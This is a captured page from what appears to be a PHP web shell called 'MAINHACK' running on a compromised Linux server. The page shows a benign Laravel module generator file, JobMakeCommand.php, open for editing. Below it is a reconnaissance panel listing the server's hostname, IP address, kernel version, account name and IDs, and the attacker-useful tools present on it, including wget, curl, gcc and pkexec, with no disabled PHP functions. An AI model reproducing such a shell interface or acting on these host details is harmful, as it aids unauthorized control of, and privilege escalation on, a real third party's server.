[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: JobMakeCommand.php
<?php namespace Nwidart\Modules\Commands; use Illuminate\Support\Str; use Nwidart\Modules\Support\Config\GenerateConfigReader; use Nwidart\Modules\Support\Stub; use Nwidart\Modules\Traits\ModuleCommandTrait; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputOption; class JobMakeCommand extends GeneratorCommand { use ModuleCommandTrait; /** * The console command name. * * @var string */ protected $name = 'module:make-job'; /** * The console command description. * * @var string */ protected $description = 'Create a new job class for the specified module'; protected $argumentName = 'name'; public function getDefaultNamespace(): string { $module = $this->laravel['modules']; return $module->config('paths.generator.jobs.namespace') ?: $module->config('paths.generator.jobs.path', 'Jobs'); } /** * Get the console command arguments. * * @return array */ protected function getArguments() { return [ ['name', InputArgument::REQUIRED, 'The name of the job.'], ['module', InputArgument::OPTIONAL, 'The name of module will be used.'], ]; } /** * Get the console command options. * * @return array */ protected function getOptions() { return [ ['sync', null, InputOption::VALUE_NONE, 'Indicates that job should be synchronous.'], ]; } /** * Get template contents. * * @return string */ protected function getTemplateContents() { $module = $this->laravel['modules']->findOrFail($this->getModuleName()); return (new Stub($this->getStubName(), [ 'NAMESPACE' => $this->getClassNamespace($module), 'CLASS' => $this->getClass(), ]))->render(); } /** * Get the destination file path. * * @return string */ protected function getDestinationFilePath() { $path = $this->laravel['modules']->getModulePath($this->getModuleName()); $jobPath = GenerateConfigReader::read('jobs'); return $path . $jobPath->getPath() . '/' . $this->getFileName() . '.php'; } /** * @return string */ private function getFileName() { return Str::studly($this->argument('name')); } /** * @return string */ protected function getStubName(): string { if ($this->option('sync')) { return '/job.stub'; } return '/job-queued.stub'; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002